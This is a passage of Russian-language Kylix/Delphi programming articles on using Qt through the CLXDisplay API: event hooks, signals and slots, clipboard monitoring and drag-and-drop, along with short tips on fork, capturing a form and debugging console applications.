передает значения своих параметров его конструктору. В качестве результата функция возвращает некий идентификатор созданного экземпляра, например, указатель на него. Таким образом мы можем создать несколько экземпляров класса QSomeClass. Если теперь мы хотим вызвать метод Method1 для одного из экземпляров QSomeClass, мы вызываем функцию QSomeClass_Method1, передавая ей в качестве одного из параметров значение, возвращенное функцией QSomeClass_Create. Оболочка класса вызывает метод Method1 для экземпляра, соответствующего переданному идентификатору, передает этому методу необходимые параметры и затем, если нужно, возвращает значение, возвращенное методом Method1. Для уничтожения экземпляра QSomeClass вызывается функция QSomeClass_Destroy, которой передается идентификатор этого экземпляра. Таким образом можно сказать, что CLXDisplay API представляет собой набор функций, "деклассирующих" библиотеку Qt library. Для упрощения работы с этим интерфейсом имена функций строятся по определенной системе. Рассмотрим для примера Qt класс QPushButton. Класс QPushButton реализует кнопку - элемент пользовательского интерфейса и является основой класса TButton из библиотеки VisualCLX. У класса QPushButton есть несколько конструкторов, деструктор и ряд методов, таких как SetDefault, IsDefault, SetFlat и т. д. Далее мы рассмотрим, какие функции для работы с этим классом предоставляет CLXDisplay API. Функции интерфейса CLXDisplay API объявляются в Kylix модуле Qt, который поставляется с исходным текстом. В комплект документации, поставляемой с Kylix, справочник по CLXDisplay API не входит, так что нашими главными источниками информации по этому вопросу будут файл Qt.pas из поставки Kylix и документация к Qt library.

Из файла qpushbutton.h, входящего в Qt library, явствует, что у класса QPushButton три конструктора:

QPushButton(QWidget *parent, const char *name=0); 
QPushButton(const QString &text, QWidget *parent, const char* name=0); 
QPushButton(const QIconSet& icon, const QString &text, QWidget *parent, const char* name=0);  

Каждому из этих конструкторов соответствует своя функция в модуле Qt:

function QPushButton_create(parent: QWidgetH; name: PAnsiChar):
  QPushButtonH; overload; cdecl;
function QPushButton_create(text: PWideString; parent: QWidgetH; name:
  PAnsiChar): QPushButtonH; overload; cdecl;
function QPushButton_create(icon: QiconSetH; text: PWideString; parent:
  QWidgetH; name: PAnsiChar): QPushButtonH; overload; cdecl;
Обратите внимание на спецификатор overload. В качестве префикса к имени функции используется имя класса, в данном случае QPushButton. Далее следует _create, означающее, что функция создает экземпляр класса и вызывает его конструктор. Все три функции возвращают значение типа QPushButtonH, которое является ссылкой на созданный экземпляр объекта. Это значение следует передавать другим функциям для работы с экземпляром QPushButton. Имя типа ссылки на экземпляр класса составляется из имени класса с добавлением H. Обратите внимание на переменную parent типа QWidgetH - эта переменная является ссылкой на экземпляр одного из потомков класса QWidget, базового класса Qt library. В этом параметре передается ссылка на экземпляр объекта пользовательского интерфейса, которому принадлежит создаваемая кнопка. В иерархии указателей действуют те же правила, что и в иерархии классов: переменной типа QWidgetH можно присваивать указатель на экземпляр любого класса-потомка QWidget. В переменной name передается имя экземпляра. Оно используется в некоторых средах разработки и для поиска экземпляра объекта в иерархии объектов. Вы можете присваивать этой переменной любое значение.

Для уничтожения экземпляра объекта QPushButton служит процедура QPushButton_destroy:

procedure QPushButton_destroy(handle: QPushButtonH); cdecl;

В качестве единственного параметра этой функции передается ссылка на экземпляр объекта, который нужно уничтожить. Для вызова метода SetFlat, отключающего или восстанавливающего вывод границы для неактивной кнопки, служит процедура QPushButton_setFlat:

procedure QPushButton_setFlat(handle: QPushButtonH; p1: Boolean); cdecl;

Для проверки того, является ли данная кнопка элементом управления, выбираемым по умолчанию предназначена функция.

function QPushButton_isDefault(handle: QPushButtonH): Boolean; cdecl;

В начале этого раздела было отмечено, что в основе компонентов VisualCLX лежат классы Qt library. Можно ли получить доступ к экземпляру класса Qt, соответствующему данному экземпляру класса VisualCLX? VisualCLX предоставляет такую возможность. Для каждого класса VisualCLX определено свойство Handle, которое во время выполнения программы содержит ссылку на "нижележащий" класс Qt library. Эта ссылка позволяет вызывать методы класса Qt. Рассмотрим конкретный пример. Пусть при проектировании пользовательского интерфейса приложения в окне формы была создана кнопка - компонент класса TButton. Это означает, что в программу была введена переменная Button1 : TButton. Как и следовало ожидать, свойство Button1.Handle имеет тип QPushButtonH. Воспользуемся этим указателем для доступа к Qt объекту и сделаем данную кнопку элементом управления по умолчанию:

QPushButton_setDefault(Button1.Handle, True); 
Конечно, тоже самое можно было бы сделать и при помощи свойства Default объекта Button1. В заключение отмечу одну юридическую тонкость, касающуюся использования Qt и Kylix. Библиотека Qt library распространяется на основе двух типов лицензий: бесплатной и коммерческой. Если Вы получили Qt в составе дистрибутива Linux, значит Вы являетесь обладателем бесплатной лицензии. За коммерческую лицензию Вам придется заплатить дополнительно. Бесплатная лицензия дает Вам право на разработку Qt приложений при условии, что эти приложения будут распространяться на основе General Public License (GPL), т. е. вместе с исходным текстом. Для того, чтобы иметь право распространять Qt приложения на коммерческой основе, Вам потребуется коммерческая лицензия. Если Вы являетесь пользователем легальной копии Kylix, т. е. обладаете лицензией Borland, Вы имеете право создавать при помощи Kylix как открытые, так и коммерческие приложения, даже если у Вас нет коммерческой лицензии на использование Qt. Однако тут действуют некоторые ограничения: Если Вы используете в коммерческом приложении элементы CLXDisplay API, Ваше приложения должно содержать экземпляр TApplication и хотя бы один компонент, являющийся производным от TControl. В противном случае Вы должны либо распространять приложение на основе GPL, либо приобрести коммерческую лицензию на использование Qt. Если в создаваемом приложении Вы используете Qt-функциональность, не связанную с CLXDisplay API, (например, взаимодействуя непосредственно с С++ модулями Qt), Вы также должны либо сделать приложение открытым, либо приобрести коммерческую Qt лицензию. Есть, конечно, и третий путь - просто наплевать на все лицензии, однако я Вам этот вариант не советую.

В этой статье была описана работа с Linux API и вызовы методов объектов Qt library из программы, написанной на Object Pascal. Однако, для того, чтобы воспользоваться мощью Qt в полной мере, необходимо также уметь создавать свои обработчики событий Qt library. О том, как это сделать, будет рассказано в следующей статье.

Перехватчики событий, сигналы и слоты.

Автор: Андрей Боровский WEB-сайт: http://kylixportal.chat.ru Перехватчики событий В предыдущей статье была рассмотрена обработка событий Qt в обработчике события OnEvent Kylix класса TApplication. В этой статье будет показан другой метод обработки событий Qt - использование перехватчиков событий (event hooks). Перехватчики событий подобны обработчику события OnEvent, с той разницей, что перехватчики событий позволяют подойти к обработке событий более дифференцировано. Перехватчики назначаются для отдельных объектов Qt, причем каждому объекту может быть назначено несколько перехватчиков для обработки разных типов событий. Перехватчик может быть процедурой или функцией, являющейся методом объекта Object Pascal и использующей формат вызова cdecl. Для того, чтобы назначить перехватчик какому-либо экземпляру класса Qt, необходимо создать экземпляр класса перехватчика для данного объекта Qt и связать его с методом-обработчиком. Функции, позволяющие сделать это, как и другие функции CLXDisplay API, декларируются в модуле Qt (файл Qt.pas).

В предыдущей статье было писано демонстрационное приложение, позволяющее перемещать фрагменты текста методом Drag and Drop. Теперь мы перепишем это приложение, используя перехватчики событий. Перехватчик назначается компоненту TLabel в конструкторе главной формы. Ниже приводятся декларация класса и исходный текст конструктора.

TForm1 = class(TForm)
  Label1: TLabel;
  procedure FormClose(Sender: TObject; var Action: TCloseAction);
  procedure FormCreate(Sender: TObject);
  procedure Label1MouseMove(Sender: TObject; Shift: TShiftState; X,
    Y: Integer);
private
  { Private declarations }
public
  { Public declarations }
  DropHook: QEvent_hookH;
  function EventHandler(Handle: QObjectH; e: QEventH): Boolean; cdecl;
end;
...
procedure TForm1.FormCreate(Sender: TObject);
var
  M: TMethod;
begin
  DropHook := QEvent_hook_create(Label1.Handle);
  EventFunc(M) := EventHandler;
  Qt_hook_hook_events(DropHook, M);
end;
DropHook - переменная типа QEvent_hookH, ссылка на объект-перехватчик событий. Не путайте этот объект с объектом, события которого перехватываются. В CLXDisplay API определено несколько объектов перехватчиков различных типов, и для создания каждого из них используется специальная функция. В данном примере мы создаем наиболее общий объект-перехватчик, перехватывающий события разных типов. Функция QEvent_hook_create создает экземпляр такого объекта и связывает его с экземпляром класса, события которого необходимо обрабатывать (в нашем случае - экземпляр QLabel).

Далее мы присваиваем переменной M указатель на метод перехватчик EventHandler. Обратите внимание на преобразование типов. Для того, чтобы выполнить преобразование корректно, необходимо определить тип-функцию.

EventFunc = function(Handle: QObjectH; e: QEventH): Boolean of object; cdecl;
декларация которой в точности соответствует декларации метода-перехватчика. Связывание метода перехватчика с объектом-перехватчиком выполняется функцией Qt_hook_hook_events. Первый параметр функции - указатель на объект-перехватчик, второй параметр - указатель на метод. Учтите, что для каждой пары "объект-перехватчик / тип перехватываемых событий" в модуле Qt определена своя функция, связывающая объекты и методы перехватчики. Сам метод перехватчик похож на метод обработки событий из предыдущего примера. Ссылка на объект события передается в переменной e, а значение, указывающее на то, следует ли вызывать обработчик события, назначенный объекту по умолчанию, возвращается в качестве результата функции. Обратите внимание на то, что в новом примере мы не проверяем, с каким Qt объектом связано обрабатываемое событие. В этом нет необходимости, так как метод перехватчик связан лишь с одним экземпляром Qt класса. Однако мы могли бы связать этот метод с несколькими объектами, и тогда параметр Handle позволил бы нам определить, каким Qt объектом вызван перехватчик. Уничтожение объекта-перехватчика выполняется в деструкторе формы. Для этого служит функция QEvent_hook_destroy. Исходный текст демонстрационного приложения находится здесь. Как и пример из предыдущей статьи, это приложение может быть скомпилировано и в Kylix (для Linux), и в Delphi 6 (для Windows). Для того, чтобы это приложение выполнялось корректно, Вам возможно придется исправить ошибку в модуле Qt (см. предыдущую статью).

Еще один пример использования перехватчиков - приложение, отслеживающее состояние буфера обмена Qt. Это приложение отображает информацию о mime-типах данных, скопированных в буфер обмена. Кроме того, если в буфере обмена присутствуют данные в текстовом формате, приложение отображает и сами данные. Информация обновляется при изменении содержимого буфера обмена. Для того, чтобы контролировать состояние буфера обмена, мы создаем объект-перехватчик QClipboard_hook и связываем его с методом перехватчиком, имеющим тип QClipboard_dataChanged_Event. Этот метод вызывается всякий раз при изменении содержимого буфера обмена. Ниже приводится исходный текст метода перехватчика.

procedure TForm1.ClipboardDataChanged;
var
  QMS: QMimeSourceH;
  S: WideString;
  S1: string;
  i: Integer;
begin
  QMS := QClipboard_data(CB);
  Memo1.Lines.Clear;
  (* enumerating clipboard data formats *)
  i := 0;
  S1 := QMimeSource_format(QMS, i);
  while S1 <> '' do
  begin
    Memo1.Lines.Add(S1);
    Inc(i);
    S1 := QMimeSource_format(QMS, i);
  end;
  Label3.Caption := '';
  (* if text data is available, we retrieve it *)
  if QTextDrag_canDecode(QMS) then
  begin
    QTextDrag_Decode(QMS, @S);
    Label3.Caption := S;
  end;
end;
Переменная CB указывает на объект буфера обмена. При помощи функции QClipboard_data мы получаем ссылку на объект QMimeSourceH, являющийся контейнером данных, содержащихся в буфере обмена. Этот объект позволяет также получить информацию о типах данных, для чего используется функция QMimeSource_format. Эта функция возвращает строку с именем типа данных. Первый параметр функции - указатель на объект-контейнер, второй параметр - номер типа данных. Типы нумеруются с нуля. Если значение этого параметра превышает номер последнего типа, возвращается пустая строка. В нашем примере мы добавляем строки с именами типов в объект Memo1. Далее с помощью функции QTextDrag_canDecode мы проверяем, содержит ли объект-контейнер данные в текстовом формате и если содержит, извлекаем эти данные при помощи функции QTextDrag_Decode. Полный исходный текст демонстрационного приложения находится здесь. Отслеживание содержимого буфера обмена работает корректно только для приложений, использующих Qt буфер. С учетом этих ограничений демонстрационное приложение работает и в Windows (будучи скомпилировано в Delphi 6). Для демонстрации его работы Вы можете воспользоваться либо Qt приложениями (в Linux) либо примерами использования CLXDisplay API, поставляемыми с Delphi 6 (в Windows). В демонстрационном приложении содержится также другой пример использования перехватчиков, в котором с одним объектом-перехватчиком связываются два метода перехватчика. Метод ButtonPressed вызывается в момент, когда кнопка Button1 нажата, метод ButtonReleased в момент, когда кнопка отпущена. Сигналы и слоты В приложениях, построенных на основе иерархии объектов часто бывает необходимо, чтобы в ответ на событие, связанное с одним из объектов, вызывался метод другого объекта. Рассмотрим такой пример: пусть в нашем приложении требуется ввести обработку события SomeEvent, связанного с каким-либо объектом VCL. В объекте определено свойство OnSomeEvent процедурного типа TSomeEvent. Когда мы назначаем обработчик событию, мы инициализируем свойство OnSomeEvent значением указателя на метод, список параметров которого соответствует типу TSomeEvent. Как правило метод-обработчик не является методом того объекта, которому принадлежит свойство OnSomeEvent. Таким образом мы устанавливаем связь между двумя объектами. Когда в системе происходит событие SomeEvent, в объекте, с которым связано это событие, выполняется проверка содержимого свойства OnSomeEvent, и если это свойство инициализировано, вызывается соответствующий метод-обработчик. В Qt library взаимодействие между объектами осуществляется при помощи механизма сигналов и слотов. Объект Qt генерирует (в терминологии Qt "эмитирует") сигнал в ответ на событие. Для приема и обработки сигналов служат слоты. Также как и сигналы, слоты являются частью объектов Qt. Каждому слоту в данном объекте сопоставлен какой-либо метод этого объекта. Для того, чтобы объект реагировал на некоторый сигнал, необходимо связать этот сигнал с одним из слотов объекта. В этом случае после генерации сигнала будет вызван метод, соответствующий данному слоту. Если сигнал несет какие-либо данные о событии, эти данные могут быть переданы методу обработчику через его параметры. Связывание сигналов и слотов похоже на назначение обработчиков событий объектов Object Pascal, однако между реализацией взаимодействия объектов в Object Pascal и Qt есть существенные различия. Многие объекты библиотеки Qt library уже имеют слоты для обработки определенных сигналов и для связывания их друг с другом не требуется перекрывать их методы в объектах-потомках. Во-вторых механизм взаимодействия сигналов и слотов позволяет связывать сигналы и слоты разных типов, не заботясь о соответствии списков параметров. Если список параметров сигнала не соответствует списку параметров обработчика, при вызове обработчик получает значения параметров, установленные по умолчанию. Третье отличие заключается в возможности связывать один сигнал с несколькими слотами и один слот с несколькими сигналами. Это означает, что событию может быть сопоставлено несколько обработчиков, являющихся методами разных объектов, и в ответ на событие будут вызываться все назначенные ему обработчики. CLXDisplay API предоставляет средства для работы с сигналами и слотами Qt. Для связывания сигналов и слотов служит функция QObject_connect. Функции передается четыре параметра. Первый параметр - указатель на объект-источник сигнала. Второй параметр - строка типа PChar. В этой строке передается имя сигнала, соответствующее синтаксису языка C++. Имя сигнала должно предваряться символом "2". Третий параметр функции QObject_connect - указатель на метод-приемник. Четвертый параметр - строка типа PChar, содержащая имя слота, соответствующее синтаксису C++ и предваряемое символом "1". Рассмотрим пример:

В Qt классе QLineEdit, лежащем в основе компонента VisualCLX TEdit, определен сигнал textChanged, который эмитируется при изменении строки в окне компонента. В классе QLabel, на котором основан компонент TLabel, определен слот setText, который позволяет задать строку в компоненте Label. Если связать сигнал textChanged экземпляра класса QLineEdit со слотом setText экземпляра класса QLabel, изменения в строке ввода будут немедленно отображаться в строке QLabel. Для того, чтобы связать указанные сигнал и слот, необходимо вызвать функцию QObject_connect со следующими значениями:

QObject_connect(Edit1.Handle, PChar('2textChanged ( const QString & )'), 
  Label2.Handle, PChar('1setText( const QString & )')); 
Первый параметр - указатель на объект-источник сигнала, в данном случае QEdit. Второй параметр - имя сигнала, определенное в заголовочном файле C++ qlineedit.h, с прибавлением двойки, указывающей на то, что это сигнал. Третий параметр - ссылка на объект-приемник сигнала (QLabel). Четвертый параметр - имя слота из файла qlabel.h с прибавлением единицы. Обратите внимание на то, что в данном случае списки параметров сигнала и слота совпадают, так что в ответ на сигнал слоту будет передана строка измененного текста. Приложение, демонстрирующее связывание сигналов и слотов в Object Pascal, можно скачать здесь. Следует отметить, что в Delphi 6 это приложение работает не совсем корректно.

Для разрыва связи между сигналом и слотом используется функция QObject_disconnect. Обычно в обращении к этой функции нет необходимости, так как при уничтожении экземпляра Qt объекта все связи с его сигналами и слотами разрываются автоматически. Функцию QObject_disconnect следует использовать если необходимо разорвать связь между сигналом и слотом до уничтожения соответствующих объектов. Список параметров у функции QObject_disconnect такой же, как и у функции QObject_connect. Значение nil, переданное функции QObject_connect в том или ином параметре (сигнал, слот, объект приемник), интерпретируется функцией как "групповой символ" и позволяет выполнять операцию разрыва связи сразу над множеством элементов. Например, вызов.

QObject_disconnect(SomeControl.Handle, PChar('2SomeSignal ()'), nil, nil);  
отсоединяет все слоты, связанные с сигналом SomeSignal Qt объекта, соответствующего SomeControl.

В рамках CLXDisplay API определено большое количество сигналов и слотов. Если же Вы захотите добавить свои сигналы и слоты, Вам придется объединить фрагменты программ, написанные на Object Pascal и C++.

Как клонировать процесс.

Автор: http://www.swissdelphicenter.ch

{
  In Linux it is possible to duplicate a process with fork. In the original
  process, fork will return the handle to the duplicated process. The
  duplicated process will return zero.
 }
program TestFork;
{$APPTYPE CONSOLE}
uses
  SysUtils,
  Libc;
var
  ForkedProcessHandle: __pid_t;
  bForked: Boolean;
procedure ForkNow;
begin
  bForked := true;
  ForkedProcessHandle := fork;
end;
function IsForked: Boolean;
begin
  Result := (ForkedProcessHandle = 0) and bForked;
end;
var
  Lf: Integer;
begin
  sigignore(SIGCHLD);
  bForked := false;
  WriteLn('do some stuff');
  WriteLn('before fork');
  ForkNow;
  WriteLn('after fork - we have dublicated the process');
  if IsForked then
  begin
    WriteLn('do some stuff in forked process (wait 5s)');
    for Lf := 0 to 50 do
    begin
      Write('f');
      sleep(100);
    end;
  end
  else
  begin
    WriteLn('do stuff in original process (wait 10)');
    for Lf := 0 to 100 do
    begin
      Write('o');
      sleep(100);
    end;
  end;
  WriteLn;
  if IsForked then
    WriteLn('forked process end')
  else
    WriteLn('original process end');
end.
{
Output of this demo app:
do some stuff
before fork
after fork - we have dublicated the process
after fork - we have dublicated the process
do some stuff in forked process (wait 5s)
fdo stuff in original process (wait 10)
ooffooffooffooffooffooffooffooffooffooffooffooffooffooffooffooffooffooff
ooffooffooffooffooffooffooffoo
forked process end
ooooooooooooooooooooooooooooooooooooooooooooooooo
original process end
 }

Как отловить CLX форму.

Автор: http://www.swissdelphicenter.ch

{
  Capturing a CLX form is easy, once you know.
  It took me a little time to find out, so I'm giving the knowledge to help others :
}
type
  TFormCapturable = class(TForm)
  public
    procedure PrintOne;
  end;
var
  FormCapturable: TFormCapturable;
implementation
uses
  Qt;
procedure TFormCapturable.PrintOne;
var
  aBitmap: TBitmap;
  aWinHandle: QWidgetH;
  aWinId: Cardinal;
  x, y, w, h: integer;
begin
  // create a new bitmap to hold the captured screen
  aBitMap := TBitmap.Create;
  try
    // get a handle on the desktop
    aWinHandle := QApplication_desktop;
    // get the Id from the desktop handle
    aWinId := QWidget_winId(aWinHandle);
    // get the position and size of the windows
    x := Self.Left;
    y := Self.Top;
    w := Self.Width;
    h := Self.Height;
    // capture the window into the bitmap's pixmap
    QPixmap_grabWindow(aBitmap.Handle, aWinId, x, y, w, h);
    // save the bitmap
    aBitMap.SaveToFile('c:\temp\test.bmp');
  finally
    // don't forget to kill the bitmap after use.
    FreeAndNil(aBitMap);
  end;
end;

Как отлаживать консольные приложения.

Автор: http://www.swissdelphicenter.ch As with Delphi you can use Kylix to write console applications even though many people think that's not important. ;-) When you start a console program in the Delphi Debugger it automatically opens a console window ("DOS command prompt") where you can see the output of e.g. the writeln command. Kylix doesn't do that automatically and if you don't look hard enough you might think it is impossible to debug console applications with it.

But if you open the run / parameters dialog you will find an entry called "Use Launcher Application" that is prefilled with xconsole. Just tick this option and there you go.

Обработка событий Qt в Kylix-приложении.

Автор: Андрей Боровский WEB-сайт: http://kylixportal.chat.ru Что представляют собой события Qt? Система Windows взаимодействует с приложениями посредством механизма сообщений, обработка которых осуществляется в оконной функции. В приложениях, созданных на основе Qt library, сообщения используются редко, а основным механизмом взаимодействия между приложениями и системой являются события. Концептуально события Qt очень похожи на события Kylix. В ответ на событие система вызывает обработчик, являющийся методом Qt-объекта. Каждому событию в Qt соответствует свой класс. Обработчику события передается ссылка на экзмпляр класса события, содержащий необходимую информацию о нем. Для того, чтобы определить собственный обработчик события для какого-либо Qt класса, следует создать производный класс этого класса и заместить (override) метод-обработчик соответствующего события. Однако средства Object Pascal не позволяют создавать производные классы Qt и замещать их методы, поэтому в Kylix реализован специальный механизм обработки событий. События Qt и Kylix Прежде чем приступить к рассмотрению специальных методов обработки событий Qt в Kylix, необходимо отметить, что в большинстве случаев у программиста не возникает необходимости обращаться к этим методам. Для большинства событий Qt в объектной модели Kylix определены соответствующие события Kylix, и обработка этих событий может быть выполнена стандартными средствами Object Pascal. Тем не менее иногда возникает необходимость ввести в приложении обработку Qt событий, не определенных в VisualCLX. В CLXDisplay API предусмотрено несколько механизмов обработки таких событий. В этой статье будет рассмотрен один из них. Как и в Delphi, в Kylix приложения строятся на основе класса TApplication. В Kylix в классе TApplication определено свойство OnEvent, позволяющее назначать приложению обработчик событий Qt. Обработчик OnEvent вызывается для каждого события каждого объекта Qt, являющегося дочерним объектом форм приложения, а также для других событий приложения.

Тип процедуры обработчика декларируется следующим образом:

procedure(Sender: QObjectH; Event: QEventH; var Handled: Boolean) of object;
В параметре Sender передается ссылка на объект, который должен реагировать на событие. Параметр Event является указателем на объект события. Он позволяет идентифицировать событие и получить информацию о нем. Переменная Handled позволяет сообщить компоненту Visual CLX о том, следует ли вызывать обработчик события, определенный в компоненте.

Рассмотрим простой пример: допустим мы хотим, чтобы перерисовка окна компонента Label1 типа TLabel не выполнялась, если некоторой глобальной переменной NoRedraw типа Boolean присвоено значение True. для этого напишем следующую процедуру AppEventHandler:

uses Qt, ...
  ...
procedure TForm1.AppEventHandler(Sender: QObjectH; Event: QEventH;
  var Handled: Boolean);
begin
  Handled := False; // Allow  default event processing
  if Sender = Label1.Handle then // Identify sending Qt object
    if QEvent_isQPaintEvent(Event) then // Identify the Paint event
      Handled := NoRedraw; // Disable or enable default event processing
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
  ...
  Application.OnEvent := AppEventHandler;
end;
procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
  ...
  Application.OnEvent := nil;
end;
Определить, какому объекту соответствует событие можно, сравнивая значение Sender с полем Handle экземпляров объектов Kylix. Определенные в модуле Qt.pas функции QEvent_isQXXXEvent действуют подобно оператору is языка Object Pascal и позволяют определить тип события, требующего обработки. Аргументом этих функций является ссылка на объект QEvent, являющийся базовым для всех объектов событий. Функция возвращает True, если ей передан укзатель на объект события соответствующего ей типа и False в противном случае. Так как любой объект события в Qt является потомком класса QEvent, после определения типа объекта события мы можем преобразовать тип значения Event к типу указателя на соответствующий объект события и при помощи функций CLXDisplay API получить доступ к методам этого объекта. Переменная Handled служит для того, чтобы разрешить или запретить дальнейшую обработку события стандартными средствами. В начале мы устанавливаем значение этой переменной равным False, для того, чтобы события обрабатывались компонентами. Для того, чтобы запретить дальнейшую обработку события, нужно присвоить этой переменной значение True. Обратите внимание на присвоение значения nil свойству OnEvent в методе FormClose. Так как время жизни объекта TApplication превышает время жизни объекта TForm, программа может пытаться вызвать обработчик OnEvent после уничтожения формы. Если после закрытия формы данное поле не будет помечено как свободное (unassigned), при выходе из программы возникнет ошибка сегментации. Программа, демонстрирующая механизм Drag and Drop Далее рассматривается небольшое приложение, демонстрирующее перенос данных между двумя Qt-программами методом Drag and Drop. Средства Drag and Drop, предоставляемые Kylix, позволяют переносить данные только между объектами Kylix-приложения, а для того, чтобы осуществлять перенос между разными приложениями, придется обратиться к методам объектов Qt library. Последовательность событий при использовании механизма Drag and Drop такова: когда пользователь переводит курсор мыши в режиме перетаскивания в область визуального Qt объекта, являющегося приемником Drag and Drop, система генерирует событие dragEnterEvent и вызывает обработчик этого события, определенный в объекте-приемнике. В ответ на это событие объект должен либо подтвердить выполнение Drag and Drop операции, либо отказаться от него. Если объект-приемник подтверждает операцию, курсор мыши приобретает характерный вид "готов к приему объекта" и пользователь может отпустить кнопку мыши для передачи объекта Drag and Drop объекту-приемнику. В противном случае курсор принимает вид "прием Drag and Drop запрещен" и дальнейшие события Drag and Drop не генерируются. Если объект-приемник разрешил Drag and Drop операцию, при дальнейшем перемещении мыши над видимой областью соответствующего интерфейсного элемента генерируется серия событий dragMoveEvent. Если пользователь отпускает клавишу мыши, генерируется событие DropEvent. Обработчик этого события должен выполнить непосредственную операцию вставки данных. При выходе курсора, находящегося в режиме перетаскивания, за пределы визуального элемента система генерирует событие dragLeaveEvent. Следует особо отметить, что обработчики событий не должны уничтожать объекты событий, так как эти объекты контролируются системой. Для того, чтобы какой-либо элемент Qt приложения мог принимать данные, передаваемые посредством Drag and Drop, необходимо создать производный класс от класса этого элемента, разрешить в этом классе прием Drag and Drop объектов, вызвав метод setAcceptDrops базового класса QWidget и заместить методы обработки событий dragEnterEvent, dragMoveEvent, dragLeaveEvent и DropEvent. Программирование Drag and Drop для Kylix приложения имеет некоторые отличия. В Kylix-приложении прием объектов Drag and Drop разрешен для всех компонентов VCL, поэтому вызывать setAcceptDrops не нужно. Кроме того, поскольку методы компонентов VisualCLX перекрывают обработчики событий Drag and Drop, подтверждать Drag and Drop операции необходимо также и в обработчике события dragMoveEvent. В принципе в Kylix приложении вообще нет необходимости обрабатывать событие dragEnterEvent, но в приводимом ниже примере такая обарботка выполняется для большей наглядности.

Демонстрационное приложение позволяет перетаскивать и вставлять фрагменты текста. Для приема и передачи объектов Drag and Drop используется компонент Label. Ниже приводится обработчик Qt событий AppEventHandler.

procedure TForm1.AppEventHandler;
var
  QMS: QMimeSourceH;
  S: WideString;
begin
  Handled := False;
  if Sender = Label1.Handle then
    if QEvent_isQDropEventEvent(Event) then
    begin
      if QEvent_isQDragEnterEvent(Event) then
      begin
        if QDropEvent_source(QDropEventH(Event)) = Label1.Handle then
          Exit;
        QMS := QDropEvent_to_QMimeSource(QDropEventH(Event));
        QDropEvent_acceptAction(QDropEventH(Event), QTextDrag_canDecode(QMS));
      end
      else if QEvent_isQDragMoveEvent(Event) then
      begin
        if QDropEvent_source(QDropEventH(Event)) = Label1.Handle then
          Exit;
        QMS := QDropEvent_to_QMimeSource(QDropEventH(Event));
        QDropEvent_acceptAction(QDropEventH(Event), QTextDrag_canDecode(QMS))
      end
      else
      begin
        QMS := QDropEvent_to_QMimeSource(QDropEventH(Event));
        if QTextDrag_canDecode(QMS) then
          QTextDrag_decode(QMS, @S);
        Label1.Caption := S;
      end;
    end;
end;
Прежде чем разобрать работу этого метода, отмечу одну деталь: в модуле Qt содержится ошибка. При первых попытках скомпилировать программу для работы с Drag and Drop, компиляция проходила без проблем, однако приложение аварийно завершалось сразу после запуска. Анализ сообщений, выводимых на консоль, показал, что программа не может разрешить ссылку на внешний объект с именем QEvent_isQDropEventEvent. Эта функция декларируется в файле Qt.pas, однако, судя по сообщениям, выводившимся во время выполнения программы, разделяемая библиотека libqtintf.so.2 не экспортирует функцию с таким именем. Очевидно, что в имя функции вкралась опечатка. Для того, чтобы исправить ошибку я изменил декларацию внешней функции QEvent_isQDropEventEvent в файле Qt.pas. В разделе implementation, в строке, объявляющей экспорт функции, после ключевого слова name я заменил "QEvent_isQDropEventEvent" на "QEvent_isQDropEvent", после чего программа заработала. Остальные имена в декларации функции я менять не стал, так что модуль Qt по-прежнему экспортирует эту функцию как QEvent_isQDropEventEvent. Если Вы хотите иметь возможность запускать демонстрационное приложение из этой статьи, Вы должны сделать тоже самое и перекомпилировать модуль Qt. Между прочим, эта же ошибка имеет место и в соответствующем модуле Delphi 6. Функции QEvent_isQDragEnterEvent, QEvent_isQDragMoveEvent и QEvent_isQDropEventEvent служат для идентификации событий. Порядок их вызова неслучаен. Отношения наследования между классами этих трех событий можно представить так: QDropEvent => QDragMoveEvent => QDragEnterEvent. Таким образом функция QEvent_isQDropEventEvent вернет значение True для всех трех событий. Действия, связанные собственно с событием DropEvent, следует выполнять только если первые проверки вернули False. Функция QDropEvent_source вызывает метод source объекта события QDropEvent - базового объекта событий Drag and Drop. Обратите внимание на преобразование типа аргумента функции. Такое преобразование корректно, поскольку объекты QDragEnterEvent и QDragMoveEvent являются потомками объекта QDropEvent. QDropEvent_source позволяет определить источник объекта Drag and Drop. Поскольку в создаваемом приложении компонент Label является и приемником и источником объектов Drag and Drop, мы должны проверять, какой Qt объект создал данный объект Drag and Drop и не выполнять дальнейшую обработку события, если источником объекта является компонент Label1. Функция QDropEvent_to_QMimeSource преобразует объект типа QDropEvent в объект типа QMimeSource, являющийся контейнером передаваемых данных. Функция QDropEvent_acceptAction позволяет подтвердить операцию Drag and Drop, или отказаться от нее. Первый аргумент функции - ссылка на объект QDropEvent, второй аргумент - значение True или False. Для определения того, следует ли обрабатывать событие, мы используем функцию QTextDrag_canDecode. Эта функция возвращает True, если переданный ей объект QMimeSource содержит данные в текстовом формате и False в противном случае. Функция QTextDrag_decode извлекает текстовые данные из объекта QMimeSource. Обратите внимание, что обработчик не должен пытаться уничтожить объекты QMimeSource

Для того, чтобы Qt приложение могло стать источником объектов Drag and Drop, необходимо создать объект-контейнер данных и вызвать один из методов этого объекта : drag или dragCopy. Объект для перетаскивания лучше всего создавать в момент начала движения мыши при нажатой левой кнопке. В нашем приложении эту функцию выполняет обработчик события OnMouseMove объекта Label1:

procedure TForm1.Label1MouseMove(Sender: TObject; Shift: TShiftState; X,
  Y: Integer);
var
  TextDragObject: QTextDragH;
  S: WideString;
  name: PChar;
begin
  if ssLeft in Shift then
  begin
    S := Label1.Caption;
    name := 'TextDrag';
    TextDragObject := QTextDrag_create(@S, Label1.Handle, name);
    if QDragObject_drag(TextDragObject) then
      Label1.Caption := '';
  end;
end;
Функция QTextDrag_create создает экземпляр объекта-контейнера QTextDrag. Первый параметр - указатель на строку текста, которую мы хотим скопировать. Параметр name может содержать любую строку PChar. Функция QDragObject_drag инициирует процесс Drag and Drop. Эта функция не возвращает управление до тех пор, пока пользователь не отпустит кнопку мыши. QDragObject_drag возвращает значение True, если был выбран режим перемещения данных и False, если был выбран режим копирования. Выбор режима в системе определяется состоянием клавиши Ctrl. Процедура QDragObject_dragCopy выполняет те же действия, но возвращает управление сразу и не передает программе никаких значений. Хотя функция QDragObject_drag возвращает управление обработчику только после того, как пользователь отпустит левую кнопку мыши, обработчик не должен пытаться уничтожить объект QDragObject. Время жизни этого объекта контролируется системой, и попытка уничтожить его вызовет ошибку сегментации. Полный исходный текст демонстрационного приложения можно скачать здесь. При работе с демонстрационным приложением следует учесть, что не все приложения, написанные для Qt/KDE, поддерживают Drag and Drop. Некоторые приложения, например 